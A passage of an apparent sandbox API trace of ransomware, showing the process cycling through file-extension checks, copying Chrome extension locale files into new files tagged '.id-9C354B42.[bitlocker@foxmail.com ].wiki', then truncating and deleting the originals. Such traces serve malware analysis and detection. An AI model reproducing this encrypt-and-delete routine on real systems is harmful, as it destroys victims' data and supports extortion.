returned -1 [0180.006] lstrlenW (lpString=".docx") returned 5 [0180.007] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.007] lstrlenW (lpString=".pdf") returned 4 [0180.007] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.007] lstrlenW (lpString=".xls") returned 4 [0180.007] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.007] lstrlenW (lpString=".xlsx") returned 5 [0180.007] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.007] lstrlenW (lpString=".ppt") returned 4 [0180.007] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.007] lstrlenW (lpString=".zip") returned 4 [0180.007] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.007] lstrlenW (lpString=".rar") returned 4 [0180.007] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.007] lstrlenW (lpString=".bz2") returned 4 [0180.007] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.007] lstrlenW (lpString=".7z") returned 3 [0180.007] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.007] lstrlenW (lpString=".dbf") returned 4 [0180.007] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.007] lstrlenW (lpString=".1cd") returned 4 [0180.007] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.007] lstrlenW (lpString=".jpg") returned 4 [0180.007] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.008] lstrlenW (lpString=".doc") returned 4 [0180.008] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.008] lstrlenW (lpString=".docx") returned 5 [0180.008] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.008] lstrlenW (lpString=".pdf") returned 4 [0180.008] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.008] lstrlenW (lpString=".xls") returned 4 [0180.008] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.008] lstrlenW (lpString=".xlsx") returned 5 [0180.008] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.008] lstrlenW (lpString=".ppt") returned 4 [0180.008] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.008] lstrlenW (lpString=".zip") returned 4 [0180.008] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.008] lstrlenW (lpString=".rar") returned 4 [0180.008] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.008] lstrlenW (lpString=".bz2") returned 4 [0180.008] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.008] lstrlenW (lpString=".7z") returned 3 [0180.008] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.008] lstrlenW (lpString=".dbf") returned 4 [0180.008] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.008] lstrlenW (lpString=".1cd") returned 4 [0180.008] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.009] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.009] lstrlenW (lpString=".jpg") returned 4 [0180.009] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.009] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.009] lstrlenW (lpString="messages.json") returned 13 [0180.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.009] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=230) returned 1 [0180.009] CloseHandle (hObject=0x320) returned 1 [0180.010] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json")) returned 0x2020 [0180.010] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.010] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.010] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.011] GetLastError () returned 0x0 [0180.011] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe6, lpOverlapped=0x0) returned 1 [0180.012] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.013] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.013] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.013] SetEndOfFile (hFile=0x198) returned 1 [0180.013] CloseHandle (hObject=0x198) returned 1 [0180.013] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.013] SetEndOfFile (hFile=0x320) returned 1 [0180.014] CloseHandle (hObject=0x320) returned 1 [0180.014] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.014] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json")) returned 1 [0180.014] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.014] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.014] lstrlenW (lpString=".doc") returned 4 [0180.014] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.014] lstrlenW (lpString=".docx") returned 5 [0180.014] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.014] lstrlenW (lpString=".pdf") returned 4 [0180.014] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.014] lstrlenW (lpString=".xls") returned 4 [0180.015] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.015] lstrlenW (lpString=".xlsx") returned 5 [0180.015] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.015] lstrlenW (lpString=".ppt") returned 4 [0180.015] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.015] lstrlenW (lpString=".zip") returned 4 [0180.015] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.015] lstrlenW (lpString=".rar") returned 4 [0180.015] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.015] lstrlenW (lpString=".bz2") returned 4 [0180.015] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.015] lstrlenW (lpString=".7z") returned 3 [0180.015] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.015] lstrlenW (lpString=".dbf") returned 4 [0180.015] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.015] lstrlenW (lpString=".1cd") returned 4 [0180.015] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.015] lstrlenW (lpString=".jpg") returned 4 [0180.015] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.015] lstrlenW (lpString=".doc") returned 4 [0180.015] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.015] lstrlenW (lpString=".docx") returned 5 [0180.016] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.016] lstrlenW (lpString=".pdf") returned 4 [0180.016] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.016] lstrlenW (lpString=".xls") returned 4 [0180.016] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.016] lstrlenW (lpString=".xlsx") returned 5 [0180.016] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.016] lstrlenW (lpString=".ppt") returned 4 [0180.016] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.016] lstrlenW (lpString=".zip") returned 4 [0180.016] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.016] lstrlenW (lpString=".rar") returned 4 [0180.016] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.016] lstrlenW (lpString=".bz2") returned 4 [0180.016] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.016] lstrlenW (lpString=".7z") returned 3 [0180.016] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.016] lstrlenW (lpString=".dbf") returned 4 [0180.016] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.016] lstrlenW (lpString=".1cd") returned 4 [0180.016] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 151 [0180.016] lstrlenW (lpString=".jpg") returned 4 [0180.016] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.017] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.017] lstrlenW (lpString="messages.json") returned 13 [0180.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.235] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=226) returned 1 [0180.235] CloseHandle (hObject=0x160) returned 1 [0180.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json")) returned 0x2020 [0180.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.235] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.464] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.465] GetLastError () returned 0x0 [0180.465] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe2, lpOverlapped=0x0) returned 1 [0180.467] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.468] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.468] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.468] SetEndOfFile (hFile=0x198) returned 1 [0180.468] CloseHandle (hObject=0x198) returned 1 [0180.468] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.468] SetEndOfFile (hFile=0x160) returned 1 [0180.469] CloseHandle (hObject=0x160) returned 1 [0180.469] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.469] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json")) returned 1 [0180.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.469] lstrlenW (lpString=".doc") returned 4 [0180.469] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.469] lstrlenW (lpString=".docx") returned 5 [0180.469] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.470] lstrlenW (lpString=".pdf") returned 4 [0180.470] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.470] lstrlenW (lpString=".xls") returned 4 [0180.470] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.470] lstrlenW (lpString=".xlsx") returned 5 [0180.470] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.470] lstrlenW (lpString=".ppt") returned 4 [0180.470] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.470] lstrlenW (lpString=".zip") returned 4 [0180.470] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.470] lstrlenW (lpString=".rar") returned 4 [0180.470] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.470] lstrlenW (lpString=".bz2") returned 4 [0180.470] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.470] lstrlenW (lpString=".7z") returned 3 [0180.470] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.470] lstrlenW (lpString=".dbf") returned 4 [0180.470] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.470] lstrlenW (lpString=".1cd") returned 4 [0180.470] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.470] lstrlenW (lpString=".jpg") returned 4 [0180.470] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.470] lstrlenW (lpString=".doc") returned 4 [0180.470] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.471] lstrlenW (lpString=".docx") returned 5 [0180.471] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.471] lstrlenW (lpString=".pdf") returned 4 [0180.471] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.471] lstrlenW (lpString=".xls") returned 4 [0180.471] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.471] lstrlenW (lpString=".xlsx") returned 5 [0180.471] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.471] lstrlenW (lpString=".ppt") returned 4 [0180.471] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.471] lstrlenW (lpString=".zip") returned 4 [0180.471] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.471] lstrlenW (lpString=".rar") returned 4 [0180.471] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.471] lstrlenW (lpString=".bz2") returned 4 [0180.471] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.471] lstrlenW (lpString=".7z") returned 3 